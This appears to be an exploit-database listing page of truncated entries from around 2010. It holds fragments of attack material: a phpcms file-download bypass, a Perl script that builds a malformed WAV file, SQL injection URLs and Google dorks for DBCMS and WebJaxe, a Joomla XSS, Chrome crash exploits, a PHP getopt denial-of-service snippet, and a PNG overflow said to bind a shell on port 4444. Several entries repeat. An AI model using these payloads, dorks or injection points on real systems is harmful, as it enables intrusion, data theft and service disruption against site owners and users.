phpcms2008sp4网站管理系统下载任意文件漏洞

comment\down.php ifpregmatch'/.php$/',$f || strpos$f, ":\" showmessage'地址有误'; //12行 只判断文件后辍 PHP，但没有考虑到在win系统中，文件名为：“xx.php ” 后面多了一个空格。也会被认为是 xx.php文件，因此，利用这个原理，当phpcms运行在win系统下，我们可以下载任意文件。 phpcms2008sp4UTF8100510 厂商补丁： PHPCMS ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

WinDirectAudio 1.0 - '.wav' (PoC)

/usr/bin/perl Title: WinDirectAudio .WAV PoC +Date : May 21, 2010 +version : v1.0 +Author : ahwak2000 +Contact : z.u5athotmail.com +Geetz 2 : germayax +tested on : windows xp sp2&sp3 EN my $junk = "\x41" x 5000; openmyfile,' ahwak2000.wav'; print myfile $junk."\r\n"; print "\nEvil WAV file create...

DB[CMS] 2.01 SQL Injection

Exploit Title: DBCMS Sql Injection Vulnerability Author: Pokeng Software Link: http://www.debliteck.com/how.php Version: Ver2.01 Platform / Tested on: Win/Linux category: webapps/0day Code : http://site/article.php?id=SQL Dork : "Designed and Developed by Debliteck Ltd" //Now I'm Just Alone In Th...

WebJaxe 1.01 SQL Injection

Exploit Title: WebJaxe Sql Injection Date: 14-05-2010 Author: IHTeam Software Link: http://media4.obspm.fr/outils/webjaxe/en/ Version: 1.01 Tested on: Win/Linux !You need a registred user! http://site/path/php/partieadministrateur/administration.php?page=projetcontribution&idcontribution=SQL...

DB[CMS] 2.0.1 - SQL Injection

Exploit Title: DBCMS Sql Injection Vulnerability Author: Pokeng Software Link: http://www.debliteck.com/how.php Version: Ver2.01 Platform / Tested on: Win/Linux category: webapps/0day Code : http://site/article.php?id=SQL Dork : "Designed and Developed by Debliteck Ltd" //Now I'm Just Alone In Th...

ChillyCMS Blind Sql Injection Vulnerability

Exploit for php platform in category web applications =========================================== ChillyCMS Blind Sql Injection Vulnerability =========================================== !/usr/bin/hybris Exploit Title: ChillyCMS Blind Sql Injection Author: IHTeam Software Link:...

DBCMS Ver2.01 (article.php) Sql Injection Vulnerability

Exploit for php platform in category web applications ========================================= DBCMS Ver2.01 Sql Injection Vulnerability ========================================= Exploit Title: DBCMS Sql Injection Vulnerability Author: Pokeng Software Link: http://www.debliteck.com/how.php...

DB[CMS] 2.0.1 - SQL Injection

DBCMS 2.0.1 - SQL Injection Exploit Title: DBCMS Sql Injection Vulnerability Author: Pokeng Software Link: http://www.debliteck.com/how.php Version: Ver2.01 Platform / Tested on: Win/Linux category: webapps/0day Code : http://site/article.php?id=SQL Dork : "Designed and Developed by Debliteck Ltd...

Joomla Component com_frontpage Persistent XSS Vulnerability

Exploit for php platform in category web applications =========================================================== Joomla Component comfrontpage Persistent XSS Vulnerability =========================================================== +Title Joomla Component comfrontpage Persistent XSS Vulnerabilit...

Google Chrome 4.1.249.1064 Memory Corruption

ÿþ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : Inj3ct0r.com 0 1 + Support e-mail : submitatinj3ct0r.com 1 0 0 1 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Save this...

Google Chrome 4.1.249.1064 Remote Memory Corrupt (Crash Exploit)

Exploit for windows platform in category dos / poc ====================================================================== Google Chrome 4.1.249.1064 Remote Memory Corrupt Local Crash Exploit ======================================================================...

Google Chrome 4.1.249.1064 - Remote Memory Corrupt

Google Chrome 4.1.249.1064 - Remote Memory Corrupt Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : Inj3ct0r.com 0 1 + Support e-mail : submitatinj3ct0r.com 1 0 0 1 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 0...

Google Chrome 4.1.249.1064 - Remote Memory Corrupt

Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site : Inj3ct0r.com 0 1 + Support e-mail : submitatinj3ct0r.com 1 0 0 1 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Save this script...

CA BrightStor Discovery Service - TCP Overflow (Metasploit)

$Id: discoverytcp.rb 9179 2010-04-30 08:40:19Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/...

PHP 5.3.0 getopt() Denial of Service

No description provided by source. ?php PHP 5.3.0 getopt Denial of service Tested on WIN XP FR SP3, WIN VISTA FR SP2, Apache, PHP 5.3.0 Denial of service Author: Napst3r Greets To: My Laptop & all My Friends $buffer = strrepeat'A:', 9999; $options = getopt$buffer; ?...

PHP 5.3.0 getopt() Denial of Service

Exploit for multiple platform in category dos / poc ==================================== PHP 5.3.0 getopt Denial of Service ==================================== 0day.today 2018-01-10...

WinSoftMagic Photo Editor .PNG Buffer Overflow

/\ WinSoftMagic Photo Editor .PNG File Buffer Overflow This sploit runs calc.exe or bind to port 4444. Tested On Win XP SP2 & Win VisTa 2008 Code & Discovered By: eidelweiss This Made For Educational purpose only Author will not responsible for any damage Thanks: JosS,r0073r & 0x1D,exploit-db,sp3...

WinSoftMagic Photo Editor .PNG File Buffer Overflow

Exploit for windows platform in category local exploits =================================================== WinSoftMagic Photo Editor .PNG File Buffer Overflow =================================================== /\ WinSoftMagic Photo Editor .PNG File Buffer Overflow This sploit runs calc.exe or...

PHP 6.0 Dev str_transliterate() Buffer Overflow

Exploit Title: PHP 6.0 Dev strtransliterate 0Day Buffer Overflow Exploit Date: 2010-04-04 Author: Pr0T3cT10n Software Link: http://downloads.sourceforge.net/project/wampserver/WampServer%202%20-%20Extensions/PHP/WampServer2-PHP6.0dev.exe?usemirror=garr Version: 6.0 Dev Tested on: WIN XP HEB SP3...

PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit

Exploit for windows platform in category remote exploits ============================================================ PHP 6.0 Dev strtransliterate 0Day Buffer Overflow Exploit ============================================================ Exploited by TheLeader, Debug SP. Thanks: HDM...